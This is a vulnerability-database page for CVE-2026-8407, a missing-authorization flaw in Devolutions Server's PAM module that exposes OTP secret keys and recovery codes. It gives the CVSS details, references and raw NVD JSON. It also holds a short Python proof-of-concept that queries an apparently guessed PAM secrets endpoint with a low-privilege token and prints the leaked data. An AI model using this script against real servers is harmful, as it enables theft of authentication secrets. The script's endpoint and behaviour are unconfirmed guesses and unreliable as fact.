CVE-2026-8407

Description

Missing authorization in the PAM module in Devolutions Server allows an authenticated user with a PAM license but no additional permissions to obtain OTP secret keys and recovery codes via crafted requests to PAM API endpoints. This issue affects the following versions : * Devolutions Server 2026.1.6.0 through 2026.1.11.0 * Devolutions Server 2025.3.16.0 and earlier

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Devolutions Server 2026.1.6.0 through 2026.1.11.0

Devolutions Server 2025.3.16.0 and earlier

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (Placeholder)
target_host = "https://devolutions-server.example.com"
api_endpoint = "/api/pam/v1/secrets"

# Attacker's credentials (Low privilege user with PAM license)
auth_token = "LOW_PRIV_USER_TOKEN_HERE"

headers = {
    "Authorization": f"Bearer {auth_token}",
    "Accept": "application/json"
}

# Exploit: Send request to vulnerable endpoint lacking authorization checks
# Expected behavior: Server returns OTP secrets without verifying specific permissions
response = requests.get(f"{target_host}{api_endpoint}", headers=headers, verify=False)

if response.status_code == 200:
    print("[+] Exploit Successful!")
    print("[+] Leaked Data:")
    print(response.json())
else:
    print(f"[-] Failed to exploit. Status code: {response.status_code}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8407
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8407
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8407/
[4] VulDB https://vuldb.com/cve/CVE-2026-8407
[5] https://devolutions.net/security/advisories/DEVO-2026-0010/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8407", "sourceIdentifier": "[email protected]", "published": "2026-05-12T17:16:22.043", "lastModified": "2026-05-13T16:17:05.520", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing authorization in the PAM module in Devolutions Server allows an authenticated user with a PAM license but no additional permissions to obtain OTP secret keys and recovery codes via crafted requests to PAM API endpoints.\n\n\n\nThis issue affects the following versions :\n\n * \n\nDevolutions Server 2026.1.6.0 through 2026.1.11.0\n\n\n * \n\nDevolutions Server 2025.3.16.0 and earlier"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://devolutions.net/security/advisories/DEVO-2026-0010/", "source": "[email protected]"}]}}